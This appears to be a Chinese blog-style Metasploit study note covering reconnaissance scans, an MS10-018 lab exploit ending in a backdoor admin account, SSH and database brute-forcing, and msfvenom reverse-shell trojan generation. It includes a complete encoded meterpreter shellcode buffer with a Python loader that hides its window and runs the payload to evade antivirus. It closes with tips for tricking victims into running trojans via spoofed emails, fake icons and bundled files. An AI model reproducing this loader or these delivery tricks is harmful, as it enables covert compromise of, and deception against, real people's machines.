MSF学习笔记

[TOC]

MSF简介

MSF全称伪Metasploit,是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境

渗透攻击是目前Metasploit最强大和最具吸引力的核心功能,Metasploit框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。

MSF的使用

MSF在kali虚拟机中自带,输入msfconsole就能够进入到控制台操作界面

1
msfconsole

MSF模块

  • exploits模块

    漏洞攻击模块列表,入侵式
    命名规则
    模块/系统/服务/名称

  • payloads模块
    漏洞负载模块与exploits模块配合使用的用于入侵后的操作

  • auxiliary模块
    辅助模块,通常用于没有攻击荷载的漏洞攻击。

  • encoders模块
    编码器模块,用于msfvenom -e or
    msf执行时也可以使用通常用于生成木马等操作。
    nops(无操作生成器模块)post(开发模块)这两个模块不常用

信息收集模块

whois查询

作用

whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库

用来查询域名的IP一级所有者的等传输协议,可以直接在网站上查询,也可以使用命令行查询,向请求服务器进行TCP端口43建立连接,发送关键字,然后再接收到服务器查询结果

命令行查询:whois+域名

使用

上图大致显示了域名,注册ID,注册whois服务器,更新时间,注册时间,注册有效期,注册人等信息

nslookup

作用

Nslookup是一个监测网络中DNS服务器是否能正确实现域名解析的命令行工具。

可以获得服务器的附加信息

使用

下面是本地的DNS信息

Nmap

作用

可以启动Nmap对目标的IP端口开放情况进行扫描,得知对方的开放端口有哪些,Nmap的扫描结果可以输出在后端数据库中供后续使用。

使用

端口扫描

基础扫描:nmap xxxx

如上图是我服务器上的几个活跃端口

(1)SYN扫描

  • 命令:nmap -sS 192.168.1.0/24
  • 说明:仅发送TCP连接中的SYN进行扫描
  • 判断:返回SYN/ACK应答,表示端口开启;返回RST应答,表示端口关闭。

(2)Connect扫描

  • 命令:nmap -sT 192.168.1.0/24
  • 说明:完成TCP的三次握手阶段进行扫
  • 判断:建立TCP连接、表示端口开启,否则、表示端口关闭。

(3)UDP扫描

  • 命令:nmap -sU 192.168.1.0/24
  • 说明:使用UDP方式进行扫描。
  • 判断:无应答、表示端口开启;返回“Port Unreachable(端口无法抵达)”信息,表示端口关闭。

(4)FIN扫描

  • 命令:nmap -sF 192.168.1.0/24
  • 说明:在TCP数据包中置FIN标志位、然后发送数据包、进行扫描。
  • 判断:无应答、表示端口开启;返回RST应答,表示端口关闭。

(5)NULL扫描

  • 命令:nmap -sN 192.168.1.0/24
  • 说明:在TCP数据包中不包含任何标志、然后发送数据包、进行扫描。
  • 判断:无应答、表示端口开启;返回RST应答,表示端口关闭。

(6)Xmas扫描

  • 命令:nmap -sX 192.168.1.0/24
  • 说明:在TCP数据包中置FIN、RST、PUSH标志位、然后发送数据包、进行扫描。
  • 判断:无应答、表示端口开启;返回RST应答,表示端口关闭。

(7)idle扫描

(8)指定端口扫描

  • 命令:nmap -p 端口号 192.168.1.0/24
  • 示例:nmap -p 80 192.168.1.0/24 , nmap -p 80,443 192.168.1.0/24

(9)扫描常见的100个端口(即:Fast快速模式)

  • 命令:nmap -F 192.168.1.0/24

(10)使用协议名字进行扫描

  • 命令:nmap -p 协议名 192.168.1.0/24
  • 示例:nmap -p http 192.168.1.0/24 , nmap -p http,smtp 192.168.1.0/24

(11)扫描常用端口

  • 命令:nmap –top-ports 端口数量 192.168.1.0/24
  • 示例:扫描常用的10个端口 nmap –top-ports 10 192.168.1.0/24

(12)扫描所有端口(效率差,不建议使用)

  • 命令:nmap -p * 192.168.1.0/24
  • nmap自定义扫描
    命令语法:nmap -p(range)
    (range)为要扫描的端口范围,端口大小不能超过65535

  • 例子:扫描目标主机的20-120号端口
    nmap -p20-120 173.22.90.10

    如上图只显示了10000-20000之间的端口

操作系统、服务判断

1、判断操作系统:nmap -O 192.168.1.0/24

2、判断服务版本:nmap -sV 192.168.1.0/24

3、综合判断:nmap -A 192.168.1.0/24

Portscan

同为端口扫描,而portscan为msf自带的端口扫描软件

nmap 扫描方式直接在 msf 中输入相应的 nmap 命令即可,msf 模块扫描方式需要调用 auxiliary 下的 scanner 下的 portscan 下的脚本。

使用

1,查看可以使用的portscan工具(任何一个都可)

命令:search portscan

2.使用use命令进行syn扫描

命令:use auxiliary/scanner/portscan/syn

3.portscan扫描需要进行set赋值,具体如下

命令:set rhosts ip #设置需要扫描的IP

命令:set threads 100 #设置线程 与大越快

如上图扫出如上存活的端口(时间太长了就停了,还是nmap效率高)

ps:这里进行portscan需要在root权限下否则会报错,如下

smb_version

简介smb扫描

server message block协议,Windows特有的一个协议,实现较复杂,windows应用最广的一个协议,也是安全问题最多的问题,smb协议windows默认开发,用于文件共享。

smb_version用来扫描获取系统信息

使用

1.查找

2.利用

命令:use auxiliary/scanner/smb/smb_version

3.进行set(设置的参数名与端口扫描的一样)

ssh_version

如果主机运行SSH,可以对SSH版本进行识别。很多SSH版本中都发现安全漏洞。通过msf框架的ssh_version模块来识别SSH版本。

使用方法相同,这里不多赘述

如上图,显示了此服务器的ssh版本信息

arp_sweep

arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机。 udp_sweep通过发送UDP数据包探查指定主机是否舌跃,并发现主机上的UDP服务

因为是自己的服务器,所以也只能有存活一台

漏洞利用模块

常用命令

search 查找命令,用来在msf框架中寻找需要的模块

例如:search ms08_067 查找关于ms08_067的漏洞模块

use 载入模块命令 使用use跟上工具的路径即可载入

show payloads 显示所有的攻击载荷,也就是显示可以利用的payload

exploits 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动),也就是开始使用模块

sessions 查看当前已经建立的sessions,说明已经拿到了shell

show auxiliary 会显示Metasploit框架中所有可用的渗透攻击模块。在MSF终端中,你可以针对渗透测试中发现的安全漏洞来实施相应的渗透攻击。

如上图所示,有一千多个可以利用的渗透攻击模块

漏洞复现(MS10-018)

Microsoft IE跨域信息泄露漏洞

准备工作

1.下载windows XP虚拟机镜像

https://pan.baidu.com/s/1eStTCMu 密码:7y26

2.vm安装虚拟机

ps:这里推荐用自定义安装,使用典型安装会造成错误,这篇文章比较详细 https://blog.csdn.net/linxinfa/article/details/112768896?ops_request_misc=&request_id=&biz_id=102&utm_term=windows%20xp%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%AE%89%E8%A3%85&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-5-112768896.nonecase&spm=1018.2226.3001.4187

3.将ios文件导入并开机

​ 成功安装靶机

靶机:Windows XP系统 192.168.220.135

攻击机:kali Linux系统 192.168.220.132

ping

尝试两台主机能否ping通

经过验证是可以的(这里用kali2019版本的,20版本出了点小问题)

复现

  • 首先打开kali的msf,找到MS10-018模块

  • 载入模块并进行设置

    1.设置payload

    2.set SRVHOST 192.168.220.132 (攻击机ip)#设置一个ip便于xp访问

    3.set URIPATH ms10_018.html #设置初始页面

![image-20210908160341155](C:\Users\Pro 13\AppData\Roaming\Typora\typora-user-images\image-20210908160341155.png)

  • explot进行攻击

![image-20210908161117055](C:\Users\Pro 13\AppData\Roaming\Typora\typora-user-images\image-20210908161117055.png)

​ 如上图,准备就绪,可以看到框框中有个url,这个就是可利用的网址,我们在windows xp中输入

  • 打开windows xp上的ie浏览器,输入网址

    可以很明显的看到浏览器很卡,这说明利用成功,造成了浏览器的崩溃,

  • 返回kali中,可以看到已经利用成功,接下来监听这个会话,进行提权

    set LHOST 192.168.22.132 #目标主机被控制后反弹的地址

  • 输入payload sessions监听

    ![image-20210908161837845](C:\Users\Pro 13\AppData\Roaming\Typora\typora-user-images\image-20210908161837845.png)

    可以看到有一台windows的机器

  • 使用命令 sessions -u id 命令进行提权

升级一个普通的win32 shell到metasploit shell。

  • 提权成功,进入交互模式

    命令:sessions -i 1

如图所示,成功拿下权限,可以ipconfig看一下

已经具有metasploit shell

  • 添加root用户

    命令:net user root 123456 /add

    net localgroup Administrator root /add #提升root用户权限至Administrator用户组

    如图成功添加root权限

密码破解模块

ssh_login

就是一个破解ssh连接的模块,使用自带的字典

使用

1.寻找模块

2.载入模块

use ……

3.绑定靶机,这里用服务器

4.设置账号密码文件(爆破的字典)

这里事先创建了两个字典用作演示

user_file为用户名的字典路径

pass_file为密码的字典路径

exploit进行执行

如上图 得到服务器的系统信息

会话

查询会话方面的信息

sessions -i

打开会话
session -i ID

查看密码文件

cat /etc/passwd

mysql_login

用来破解mysql,用法与上述的ssh破解一样,这里代码演示

postgres_login

PostgreSQL是一个自由的对象——关系数据库服务(数据库管理系统)。它在灵活的BSD-风格许可证下发行。

用法相同,在特定情况下使用

Tomcat_mrg_login

用来爆破tomcat弱口令

用法相同,先找到tomcat的模板,进行 set ip即可,不多赘述了

telent_login

Telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用Telnet服务

telent_login是一个telent破解的模块

使用与上述的破解模块相同,字典够强大即可

MSF木马生成

常规木马

命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=frp3.freefrp.net LPORT=46899 -f elf -o abin.elf

生成成功

监听

使用msf的监听模块

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp #windows则把linux换为windows即可

set lhost 192.168.220.129

set lport 4567

run

在目标机中打开制作好的木马

本机收到回响,成功上线

MSF免杀(windows)

msfvenom -p windows/meterpreter/reverse_tcp LPORT=46892 LHOST=192.168.220.129 -e x86/shikata_ga_nai -i 11 -f py -o /mo.py

查看py文件

使用python脚本,将mo.py中的值放入脚本中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from ctypes import *

import ctypes

buf = ""

buf += "\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\xf4\x58\x29"

buf += "\xc9\xb1\x97\x31\x58\x15\x03\x58\x15\x83\xe8\xfc\xe2"

buf += "\x8f\xdc\x50\xbc\x22\x5d\xbf\x0c\x65\xe9\x1b\x79\xcd"

buf += "\x39\xad\x30\x7c\x0c\x5d\x21\xfd\x87\x61\x46\x2b\xc8"

buf += "\x35\xc0\x38\x81\xbf\xd5\xb9\xd7\x14\x0c\xcb\x00\x79"

buf += "\x12\x5d\xd0\xb1\xee\xfe\x06\x1d\x51\x8a\x92\x29\xd2"

buf += "\xa4\x4c\xd0\x08\x22\xdc\x4f\x24\xb2\x2b\x2b\xda\x00"

buf += "\x5f\xa3\x1d\x01\xfe\xe9\xf2\x62\xeb\xa7\x46\x63\xce"

buf += "\xac\x45\xe4\x8b\xa1\xa3\x85\x14\xe1\x1e\x06\xa7\x6e"

buf += "\x7a\x03\xe7\x05\xd2\x41\x32\x24\x3c\x48\x72\xf2\x57"

buf += "\x0f\x58\x58\x5c\xf6\xd5\x0f\x5b\x6b\xca\x34\xdd\x5d"

buf += "\xe0\x62\x5a\xc2\xde\x3d\xdc\xb3\xf0\x3e\x78\x31\x90"

buf += "\x6c\x5f\x58\xee\x84\xb0\x30\x87\x60\xec\x58\x25\xad"

buf += "\x4a\x6b\xc6\xb7\xd8\x70\xb8\x2f\xc8\xd9\xcf\xec\x10"

buf += "\xcb\x67\x90\xf2\xdf\xf2\x4a\xf3\x23\xf6\xd1\x12\xa5"

buf += "\xfb\x10\xa9\x56\x4e\xd0\xdc\x10\x21\x1d\xb5\x58\x17"

buf += "\xe1\x6d\x69\x74\xc7\xac\x58\x1a\xc9\xf7\x00\xf8\x54"

buf += "\x76\x05\x6d\xd4\x9e\x9c\x22\xdb\x0f\xa9\xfa\xe3\x8b"

buf += "\x8e\x1a\x1f\x60\xdb\xbe\xef\x2f\x73\xa5\x42\x02\x93"

buf += "\x89\x0f\x42\xfa\xae\xb9\x9b\xec\xe2\x53\x56\x38\x51"

buf += "\x45\x6f\xb8\xd2\xff\x3a\x73\x44\xe4\x38\x38\xf2\x28"

buf += "\x76\xf0\xca\x34\x80\x35\x55\x83\xad\x29\x23\x8a\xca"

buf += "\x07\xcf\x88\x30\x15\x2e\xc0\x99\x1e\xdd\xb6\xbb\x49"

buf += "\x92\x1e\x9a\xdd\xcf\x58\xe9\x84\x66\x3d\x38\xfc\x28"

buf += "\x99\xa4\x19\x09\xe6\x1c\xf5\xad\x4f\xa1\x81\xbf\x51"

buf += "\x3d\x0b\x9e\x27\x60\x20\x7d\x59\x6e\x82\x7c\x25\x5c"

buf += "\x4e\x34\x25\xed\xc3\xb1\x45\x02\x92\x75\xf5\x11\xa5"

buf += "\x54\xdc\x1b\x6f\x9b\x56\xd2\xb5\x80\x66\xcf\xe1\x61"

buf += "\xd1\x01\xe4\x31\x52\xd9\x5b\x01\x37\x29\xa8\xef\xc8"

buf += "\x53\x9b\x1c\x47\x30\x9e\xe4\x6a\xda\xb3\xd5\xfd\xf5"

buf += "\xb8\x13\xbc\x92\xbb\xb4\x82\x70\x02\xad\xef\x3b\x70"

buf += "\xf4\x98\x84\x31\x52\x97\x60\x2b\x2e\x84\x9b\x7f\xb7"

buf += "\x30\x85\x58\xef\x8c\x95\xa0\x56\x2f\xef\x20\x61\x0d"

buf += "\x94\x66\xbf\xa7\xd0\x71\x56\x52\x82\xb1\xa0\x19\xe4"

buf += "\x7e\xd9\x90\x96\x2b\x16\xea\x4c\xde\xcd\x05\x23\x6e"

buf += "\xc2\x4b\xc0\x68\x1b\xba\xc1\x1d\xca\x26\x74\xd1\x92"

buf += "\x4e\xd3\x70\x8a\x43\x41\xbe\x59\xf1\x20\x33\x89\xb9"

buf += "\x2b\xdb\x9a\x0f\xad\x8d\x80\x4c\x78\x52\xe7\x0a\xf7"

buf += "\x47\xd8\x5c\x0c\x3c\xd4\x0d\x3d\xe7\xbd\x2d\x22\xb1"

buf += "\x37\x0a\xd9\x5e\xf2\xd5\xd2\x56\xe0\x56\x1c\x42\xc3"

buf += "\x75\x92\x55\x7c\x86\x6a\xb4\xcd\x3a\xce\x4d\xea\x4f"

buf += "\xa4\x31\xc6\xe0\x16\x27\xa5\xf4\x9d\x79\x5e\xfc\x60"

buf += "\xeb\xef\x35\x33\x6e\x5b\x6d\xec\x8f\x9b\x1e\xb1\xf6"

buf += "\x35\xeb\x1f\x3b\xab\x99\x9a\x34\x2a\xf8\x25\x38\xba"

buf += "\x40\xe9\xb0\x51\xbc\xdf\x60\x16\x62\xc3\x63\x64\xbd"

buf += "\xb5\x28\xf6\x4c\x71\xd2\x01\x74\x11\xf0\xd7\xcd\x4f"

buf += "\x34\xad\xc2\x65\x4c\xeb\x78\xc1\xbf\xba\x80\x6c\x46"

buf += "\x6a\x15\x15\x03\x5e\x8d\x65\x8e\x69\x89\x29\x7f\x67"

buf += "\xea\xc1\x6b\x62\xb0\xd4"

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4

def executable_code(buffer):

buf = c_char_p(buffer)

size = len(buffer)

addr = libc.valloc(size)

addr = c_void_p(addr)

if 0 == addr:

raise Exception("Failed to allocate memory")

memmove(addr, buf, size)

if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):

raise Exception("Failed to set protection on buffer")

return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc

VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(buf)

whnd = ctypes.windll.kernel32.GetConsoleWindow()

if whnd != 0:

if 666==666:

ctypes.windll.user32.ShowWindow(whnd, 0)

ctypes.windll.kernel32.CloseHandle(whnd)

print ".................................."*666

memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)),

ctypes.c_int(0x3000),

ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

old = ctypes.c_long(1)

VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),

buf,

ctypes.c_int(len(shellcode)))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

然后下载支持将python生成exe的软件pyinstall

https://nchc.dl.sourceforge.net/project/pyinstaller/2.0/pyinstaller-2.0.zip

使用命令生成exe文件

python PyInstaller.py --console --onefile mo.py

运行即可

分析木马

这里使用微步云沙盒进行分析

很显然没有免杀的木马一定会报毒

能过一些小众的杀软

诱导对方点开木马的方法?

即使我们做了免杀,过了av,但如何让对方打开确实是个问题

1.最简单的一种就是将木马改名,改为类似360.exe或者一些游戏的名字,如何将图标换一下,成功伪装

2.邮件冒名欺骗。用匿名邮件工具冒充好友或大型网站、机构单位向别人发木马附件,别人下载附件并运行的话就中木马了。

3.文件夹惯性点击。把木马文件伪装成文件夹图标后,放在一个文件夹中,然后在外面再套三四个空文件夹,很多人出于连续点击的习惯,点到那个伪装成文件夹木马时,也会收不住鼠标点下去,这样木马就成功运行了。

4.zip伪装。这个方法是最新的,将一个木马和一个损坏的zip包(可自制)捆绑在一起,然后指定捆绑后的文件为zip图标,这样一来,除非别人看了他的后缀,否则点下去将和一般损坏的zip没什么两样,根本不知道其实已经有木马在悄悄运行了。

5.在某个公文包或者可以上传附件的论坛传上捆绑好的木马,然后把链接发给受害者。

6.通过社工,找到对方最近常用的文件,然后内置一个木马,这样即可信又能做到无影无踪